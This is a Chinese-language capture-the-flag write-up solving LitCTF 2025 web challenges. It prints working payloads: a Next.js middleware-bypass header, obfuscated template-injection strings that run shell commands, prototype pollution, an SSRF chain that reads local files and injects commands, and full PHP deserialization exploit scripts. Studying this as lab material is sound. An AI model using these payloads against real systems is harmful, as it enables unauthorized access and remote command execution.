2025-litctf


web

nest_js

考点:cve-2025-29927绕过中间件权限

先来一个cve-2025-29927绕过中间件权限,其实就是根路由打下面的请求头

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
image-20250525110514133

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现 - CVE-柠檬i - 博客园

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现 - CVE-柠檬i - 博客园

出现新的Etag,替换一下给If-None-Match,然后访问/dashboard即可

image-20250525111641925

非预期是直接爆破,刚好是弱密码,admin/password

星愿信箱

稍微测一下,过滤了{{}},用{%print()%}代替

先打几个通用payload,这万能payload真不错,秒了。

1
{%print(joiner["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("ls /")["\x72\x65\x61\x64"]())%}
1
{%print(joiner["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("t""ac /f*")["\x72\x65\x61\x64"]())%}

多重宇宙日记

考点:原型污染链

一看当原型污染链有点慌,发现没给源码直接越加慌,结果比赛结束直接傻了

随便注册一个账户,然后右键就可查看源码

image-20250526190811128

发现一个参数是isAdmin,然后直接打污染链

1
2
3
4
5
6
7
{
    "settings": {
        "__proto__": {
            "isAdmin": true
        }
    }
}

然后就出现了一个管理员面板,登进去就有flag

image-20250526190959054

显然,这题就要将问题想简单一点,逻辑仅仅如下

1
当系统检查isAdmin属性时,对象本身没有这个属性, 系统会沿着原型链向上查找,如果我们在原型链上污染了这个属性,系统就会找到这个被污染的值,从而获得管理员面板拿到flag

easy_file

考点简单的文件上传夹文件包含

先随便登入发现账户密码被base64编码处理了,直接爆破密码(记得base64编码)得到弱密码admin/password

image-20250526194024642

然后是文件上传,后缀检测,内容检测过滤php,直接短标签绕过,发现上传成功

image-20250526194633835

但是发现上传不了.user.ini,无法进行包含图片马,怎么办,仔细看看前面登入页面,其源码最下面发现一个信息

image-20250526195841897

而文件上传就是上传头像,所以就查看头像url?file=/var/www/html/uploads/shell.jpg,发现竟然有GIF89回显,猜测进行了文件包含,那就试试执行命令,果然是!那就拿flag

image-20250526195743471

此题不难,就是考验细节,写不出说明细节不到位

easy_signin

md5爆破用户密码+X-Sign与时间戳验证登入+简单的ssrf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
// 获取登录按钮元素
const loginBtn = document.getElementById('loginBtn');
// 获取密码输入框元素
const passwordInput = document.getElementById('password');
// 获取错误提示元素
const errorTip = document.getElementById('errorTip');
// 获取用户名输入框的值
const rawUsername = document.getElementById('username').value;

// 为登录按钮添加点击事件监听器
loginBtn.addEventListener('click', async () => {
    // 获取密码输入框的值并去除首尾空格
    const rawPassword = passwordInput.value.trim();
    // 如果密码为空
    if (!rawPassword) {
        // 显示错误提示,要求输入密码
        errorTip.textContent = '请输入密码';
        errorTip.classList.add('show');
        // 将焦点聚焦到密码输入框
        passwordInput.focus();
        // 结束当前函数执行
        return;
    }

    // 使用 CryptoJS 的 MD5 方法对用户名进行加密
    const md5Username = CryptoJS.MD5(rawUsername).toString();
    // 使用 CryptoJS 的 MD5 方法对密码进行加密
    const md5Password = CryptoJS.MD5(rawPassword).toString();

    // 截取加密后的用户名的前 6 位
    const shortMd5User = md5Username.slice(0, 6);
    // 截取加密后的密码的前 6 位
    const shortMd5Pass = md5Password.slice(0, 6);

    // 获取当前时间戳,用于签名生成和防止重放攻击
    const timestamp = Date.now().toString();

    // 设置签名密钥
    const secretKey = 'easy_signin';
    // 使用 MD5 方法对拼接后的字符串进行加密生成签名
    const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

    try {
        // 使用 fetch 方法向服务器发送登录请求
        const response = await fetch('login.php', {
            // 设置请求方法为 POST
            method: 'POST',
            // 设置请求头
            headers: {
                // 设置内容类型为表单数据
                'Content-Type': 'application/x-www-form-urlencoded',
                // 将生成的签名添加到请求头中
                'X-Sign': sign
            },
            // 设置请求体,包含用户名、密码和时间戳
            body: new URLSearchParams({
                username: md5Username,
                password: md5Password,
                timestamp: timestamp
            })
        });

        // 解析服务器返回的 JSON 数据
        const result = await response.json();
        // 如果服务器返回的登录状态码为 200(表示登录成功)
        if (result.code === 200) {
            // 弹出提示框,显示登录成功消息
            alert('登录成功!');
            // 跳转到后台主页
            window.location.href = 'dashboard.php';
        } else {
            // 如果登录失败,显示错误提示信息
            errorTip.textContent = result.msg;
            errorTip.classList.add('show');
            // 清空密码输入框
            passwordInput.value = '';
            // 将焦点聚焦到密码输入框
            passwordInput.focus();
            // 3 秒后隐藏错误提示
            setTimeout(() => errorTip.classList.remove('show'), 3000);
        }
    } catch (error) {
        // 如果网络请求失败,显示错误提示
        errorTip.textContent = '网络请求失败';
        errorTip.classList.add('show');
        // 3 秒后隐藏错误提示
        setTimeout(() => errorTip.classList.remove('show'), 3000);
    }
});

// 为密码输入框添加输入事件监听器
passwordInput.addEventListener('input', () => {
    // 当用户输入密码时,移除错误提示的显示样式
    errorTip.classList.remove('show');
});

看源码,知js将用户密码进行md5加密处理,和上题一样,进行爆破,用户密码进行md5加密,得到admin/admin123

image-20250526213930797

但是直接改用户密码发包不行,因为有时间戳与X-Sign影响,所以写代码发送,直接将源码的js代码改成python代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import requests
import hashlib
import time
import json

def md5(text):
    """计算MD5值"""
    return hashlib.md5(text.encode()).hexdigest()

def generate_sign(username, password, timestamp, secret_key='easy_signin'):
    """生成签名"""
    # 计算用户名和密码的MD5
    md5_username = md5(username)
    md5_password = md5(password)
    
    # 取前6位
    short_md5_user = md5_username[:6]
    short_md5_pass = md5_password[:6]
    
    # 生成签名
    sign_str = short_md5_user + short_md5_pass + timestamp + secret_key
    return md5(sign_str)

def try_login(username, password):
    """尝试登录"""
    # 获取时间戳
    timestamp = str(int(time.time() * 1000))
    
    # 计算MD5
    md5_username = md5(username)
    md5_password = md5(password)
    
    # 生成签名
    sign = generate_sign(username, password, timestamp)
    
    # 构造请求头
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-Sign': sign
    }
    
    # 构造请求数据
    data = {
        'username': md5_username,
        'password': md5_password,
        'timestamp': timestamp
    }
    
    try:
        # 创建会话对象
        session = requests.Session()
        
        # 发送请求
        response = session.post('http://node6.anna.nssctf.cn:23038/login.php', 
                              headers=headers, 
                              data=data)
        
        # 打印请求信息
        print("\n=== 请求信息 ===")
        print(f"URL: {response.request.url}")
        print("\n请求头:")
        for key, value in response.request.headers.items():
            print(f"{key}: {value}")
        print("\n请求体:")
        print(response.request.body)
        
        # 打印响应信息
        print("\n=== 响应信息 ===")
        print(f"状态码: {response.status_code}")
        print("\n响应头:")
        for key, value in response.headers.items():
            print(f"{key}: {value}")
        print("\n响应体:")
        print(response.text)
        
        return response
        
    except Exception as e:
        print(f"[-] 请求失败: {str(e)}")
        return None

if __name__ == "__main__":
    # 已知的用户名和密码
    username = "admin"
    password = "admin123"
    
    # 尝试登录
    response = try_login(username, password)
    
    if response:
        print("\n[+] 登录请求已发送")
        print(f"[+] 用户名: {username}")
        print(f"[+] 密码: {password}")

然后将得到的X-Sign与账户密码替换一下,然后发包,这样就登入成功了

image-20250526220102050

然后看给的源码可以访问dashboard.php路由,登入发现给了backup/8e0132966053d4bf8b2dbe4ede25502b.php,登入发现要本地用户。继续看,发现这个登入页面源码藏了一个api.js,内容是

1
/api/sys/urlcode.php?url=

要本地用户这里就打ssrf

1
2
/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php
#也可以本地读文件/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php
1
api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls${IFS}../ #空格被过滤了,用${IFS},%2520也行,就是空格编码2次,因为SSRF了一次
image-20250526225228853

然后这里还读不了要直接访问/327a6c4304ad5938eaf0efb6cc3e53dc.php,最后拿到flag

image-20250526225445305

非预期·:

直接读urlcode.php

1
api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

在里面发现可以路由327a6c4304ad5938eaf0efb6cc3e53dc.php访问即可

image-20250526231544300

此题还是很好的,难度不是很难,但是赛场很难写出来,需要非常细。

君の名は

原生类调用匿名函数+ArrayObject包裹绕过正则+爆破找到匿名函数名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 <?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
} 

此题链子很简单,但是获得flag有点难,这里很显然是下面

1
2
3
4
5
6
7
create_function("", 'die(/readflag);');	#创造匿名函数,执行/readflag然后终止脚本
#上述匿名函数的创建与执行过程等价于下面
<?php
function lambda_1('','die(/readflag);'){
    return die(/readflag);
}
?>

PHP代码审计之create_function()函数 - My_Dreams - 博客园

所以我们就要调用这个匿名函数,所以思路就是

1
2
找到一个可以调用匿名函数的原生类
找到匿名函数的名字

发现ReflectionFunction的invoke方法可以

image-20250527115427319
1
2
3
4
5
6
还有一个知识点就是__call($func,$args)的传参问题:

假如我们触发__call($func,$args)调用的函数是

flag($arg1,$arg2)
那么触发__call($func,$args)$func就会被赋值为"flag";$args就会被赋值为flag()的参数构成的数组。所以要给$args赋值需要在flag()的参数里赋值。
1
2
3
4
5
6
7
8
绕过正则的化
这里用一个类来对链子进行包装,然后开头的O就会被自动转换为C
可以使用的类有很多:

ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize

php反序列化 | 晨曦的个人小站

所以有exp是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

create_function("", 'die(`/readflag`);');
class Taki
{
    public $musubi;
    public $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    public $memory;
    public $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    public $soul;
    public $kuchikamizake;
    public $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$a=new Taki();
$a->musubi=new Mitsuha();
$a->musubi->memory=new KatawareDoki();
$a->musubi->memory->kuchikamizake='ReflectionFunction';
$a->musubi->memory->name="\00lambda_10";
$a->musubi->memory->soul=new Taki();
$a->musubi->memory->soul->musubi='time';#目的就是让return ($this->musubi)();这一步不报错,保证程序完整进行,但是我的php环境是8点多,这个代码要在7.2下运行(create_function()函数在PHP 7.2.0版本中已经被废弃),所以我拉了一个7.1的docker环境运行此代码,发现其实不要此行也可以执行
$a->musubi->memory->soul->magic='invoke';

$aa=new Arrayobject($a);
$payload=serialize($aa);
$payload=str_replace("\00","%00",$payload);		
echo $payload;
1
C:11:"ArrayObject":278:{x:i:0;O:4:"Taki":2:{s:6:"musubi";O:7:"Mitsuha":2:{s:6:"memory";O:12:"KatawareDoki":3:{s:4:"soul";O:4:"Taki":2:{s:6:"musubi";s:4:"time";s:5:"magic";s:6:"invoke";}s:13:"kuchikamizake";s:18:"ReflectionFunction";s:4:"name";s:10:"%00lambda_10";}s:6:"thread";N;}s:5:"magic";N;};m:a:0:{}}
1
因为create_function()创造的匿名函数(lambda样式),名字我们不知道会是多少,所以我上面一lamba_10为序号来进行爆破
image-20250527151052297

非预期:直接($this->musubi)();调用匿名函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class Taki
{
    public $musubi = "\000lambda_1";
    public $magic = "";
}
$a = new Taki();

$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));

2025LitCTF–web全解 - TouHp - 博客园

Litctf2025-君の名はwp - Litsasuk - 博客园

1
至此,web复现完,这里许多题都是爆破用户密码开路,之后还得多爆破爆破,然后就是考的很细,题目的提示得多看看,要耐住性子做题
谢谢观看